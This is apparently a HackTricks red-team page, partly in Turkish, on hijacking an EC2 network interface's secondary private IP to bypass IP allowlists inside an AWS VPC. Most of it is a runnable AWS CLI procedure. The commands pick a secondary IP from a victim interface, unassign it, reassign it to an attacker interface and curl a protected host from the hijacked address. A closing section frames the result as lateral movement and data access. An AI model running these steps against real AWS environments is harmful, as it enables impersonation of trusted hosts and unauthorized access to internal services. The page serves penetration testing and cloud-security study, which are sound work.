AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Abuse ec2:UnassignPrivateIpAddresses and ec2:AssignPrivateIpAddresses izinlerini kullanarak hedef ENI’nin secondary private IP’sini çalın ve aynı subnet/AZ içindeki saldırgan ENI’ye taşıyın. Birçok dahili servis ve security groups erişimi belirli private IP’lerle kısıtlar. Bu ikincil adresi taşıyarak saldırgan L3’te güvenilen host’u taklit eder ve allowlisted services’e ulaşabilir.

Prereqs:

  • Permissions: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses on the victim ENI ARN, and ec2:AssignPrivateIpAddresses on the attacker ENI ARN.
  • Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

Steps:

  1. Pick a secondary IP from the victim ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Korunan hostun yalnızca o IP’ye izin verdiğinden emin olun (idempotent). Eğer bunun yerine SG-to-SG kuralları kullanıyorsanız, atlayın.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Temel: attacker instance’tan PROTECTED_HOST’a yapılan istek, spoofed source olmadan (ör. SSM/SSH üzerinden) başarısız olmalıdır
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Hedef ENI’den ikincil IP’yi ayırın
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Aynı IP’yi saldırgan ENI’sine atayın (AWS CLI v1 için --allow-reassignment ekleyin)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Sahipliğin taşındığını doğrulayın
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. Attacker instance’dan, hijacked IP’ye source-bind yaparak protected host’a erişin (IP’nin işletim sisteminde yapılandırıldığından emin olun; değilse ip addr add $HIJACK_IP/<mask> dev eth0 ile ekleyin)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Etki

  • Aynı subnet/AZ içindeki ENIs arasında secondary private IP’leri taşıyarak IP allowlists’lerini atlatmak ve VPC içinde güvenilen host’ları taklit etmek.
  • Belirli source IP’lere göre erişimi kısıtlayan internal servislere erişim sağlamak; bu lateral movement ve veri erişimini mümkün kılar.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin